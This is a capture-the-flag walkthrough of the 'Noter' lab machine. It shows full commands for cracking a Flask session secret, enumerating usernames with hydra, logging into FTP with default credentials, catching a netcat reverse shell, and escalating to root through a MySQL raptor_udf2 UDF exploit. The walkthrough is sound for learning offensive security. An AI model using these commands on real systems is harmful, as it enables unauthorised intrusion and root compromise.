Accessing the Website on port 5000 we see a note taking application. We need to login or register an account to create notes. I created an account with the following details:
Login in to the application we can create our first note. I tried creating some XSS notes but nothing works:
Something funny happens when we "Add Note", "Edit" or "Delete". The server sends a different cookie and then set the original cookie back. Lets edit the note and use Burp to intercept the traffic:
Lets use JWT.io to decode and compare them. Request cookie:
Response cookie:
Based on the _flashes function and the backend (Python) we can assume that the server is running Flask. We can try to use a tool called flask-unsign to crack the signature and then we can forge our own JWT if we get the secret.
# INSTALL FLASK-UNSIGN
pip3 install flask-unsign
# CRACK OUR TOKEN
flask-unsign --unsign--cookie'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiY2F1ZSJ9.Ynen2A.8kt_JvOGzy0Muo8XOVHlicX0ghE' --no-literal-eval --wordlist /usr/share/wordlists/rockyou.txt
[*] Session decodes to: {'logged_in': True, 'username':'caueb'}[*] Starting brute-forcer with 8 threads..[+] Found secret key after 17152 attempts
b'secret123'
Good, the secret is secret123, so now we can impersonate any user. We will need to enumerate some users.
In the http://10.129.171.223:5000/login page we can enumerate users based on the error message. We can type any random password and If the username exists it will display "Invalid login", but if the username does not exist it shows "Invalid credentials". Lets use hydra with the wordlist of Username - Namesfrom seclists:
$ hydra -L /usr/share/seclists/Usernames/Names/names.txt -p'whatever'-s500010.129.171.223 http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
Hydra v9.3 (c)2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-08 21:00:30
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10177 login tries (l:10177/p:1), ~637 tries per task
[DATA] attacking http-post-form://10.129.171.223:5000/login:username=^USER^&password=^PASS^:Invalid credentials
[STATUS]714.00 tries/min, 714 tries in 00:01h, 9463 to doin 00:14h, 16 active
[5000][http-post-form] host: 10.129.171.223 login: blue password: whatever
Note that I'm hiding any response with 110 words (--hw 110) to filter showing wrong credentials.
After some time we get the user blue. Now we can forge a token as this user to have a look at his notes.
We can download the file policy.pdf found in the ftp:
caue@kali:~/htb/noter/ftp$ ftp10.129.171.223
Connected to 10.129.171.223.
220(vsFTPd 3.0.3)
Name (10.129.171.223:caue): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>ls-la229 Entering Extended Passive Mode (|||8364|)150 Here comes the directory listing.
drwxr-xr-x 3010024096 May 02 23:05 .
drwxr-xr-x 3010024096 May 02 23:05 ..
drwxr-xr-x 2100210024096 May 02 23:05 files
-rw-r--r-- 11002100212569 Dec 2420:59 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||54429|)150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |************************************************************************************************************|125692.06 MiB/s 00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (44.99 KiB/s)
This line from the PDF looks promising: "Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)" We saw above the ftp_admin user sent an message to user blue. Following the logic we have:
ftp_admin:ftp_admin@Noter!
Login in to FTP we see 2 app backup files:
caue@kali:~/htb/noter/ftp$ ftp10.129.171.223
Connected to 10.129.171.223.
220(vsFTPd 3.0.3)
Name (10.129.171.223:caue): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>ls-la229 Entering Extended Passive Mode (|||19749|)150 Here comes the directory listing.
drwxr-xr-x 2010034096 May 02 23:05 .
drwxr-xr-x 2010034096 May 02 23:05 ..
-rw-r--r-- 11003100325559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 11003100326298 Dec 01 05:52 app_backup_1638395546.zip
226 Directory send OK.
ftp>
We see that one was created in November and the other in December. Lets keep it organised and create a fodler for each one:
The difference is that in the November backup the file app.py had MySQL credentials:
app.py
...[snip]...# Config MySQL
app.config['MYSQL_HOST']='localhost'
app.config['MYSQL_USER']='root'
app.config['MYSQL_PASSWORD']='Nildogg36'
app.config['MYSQL_DB']='app'
app.config['MYSQL_CURSORCLASS']='DictCursor'...[snip]...
We can also see in the source-code that the application is using md-to-pdf module and looking at the implementation of "export_note_remote" there is a remote command execution vulnerability:
We receive a connection back on the netcat listener:
caue@kali:~/htb/noter$ nc-lnvp4444
listening on [any]4444...
connect to [10.10.14.15] from (UNKNOWN)[10.129.172.62]43380
bash: cannot set terminal process group (1247): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$
We can go to /home/svc and get the user flag.
svc@noter:~$ ls -la
total 44
drwxr-xr-x 8 svc svc 4096 May 2 23:05 .
drwxr-xr-x 3 root root 4096 May 2 23:05 ..
drwxrwxr-x 3 root root 4096 May 2 23:05 app
lrwxrwxrwx 1 root root 9 Dec 27 09:04 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 3771 Dec 23 14:13 .bashrc
drwx------ 3 svc svc 4096 May 2 23:05 .cache
drwx------ 5 svc svc 4096 May 2 23:05 .config
drwx------ 5 svc svc 4096 May 2 23:05 .local
lrwxrwxrwx 1 root root 9 Dec 27 09:04 .mysql_history -> /dev/null
drwxrwxr-x 4 svc svc 4096 May 2 23:05 .npm
drwxrwxr-x 5 svc svc 4096 May 8 12:44 .pm2
-rw-r--r-- 1 svc svc 807 Dec 23 14:13 .profile
-rw-r----- 1 svc svc 33 May 8 12:45 user.txt
svc@noter:~$ mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 5421
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c)2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
MariaDB [(none)]> use mysql;
We need to load the shared library into the mysql plugins directory. Lets see where is it:
MariaDB [mysql]> show variables like 'plugin_dir';
+---------------+---------------------------------------------+
| Variable_name | Value |
+---------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
+---------------+---------------------------------------------+
Perfect, now we can follow the exploit directions to create a function that will load the library and execute code as the user running the mysql server, in our case, the root user:
MariaDB [mysql]> use mysql;
MariaDB [mysql]> create table foo(line blob);
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
MariaDB [mysql]>select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
MariaDB [mysql]>select * from mysql.func;
MariaDB [mysql]>select do_system('id > /tmp/out; chown svc.svc /tmp/out');
MariaDB [mysql]>\!sh
$ cat /tmp/out
uid=0(root)gid=0(root)groups=0(root)
Here we proved that we have code execution as root, so lets make a copy of bash and give +s privileges so we can get a root shell.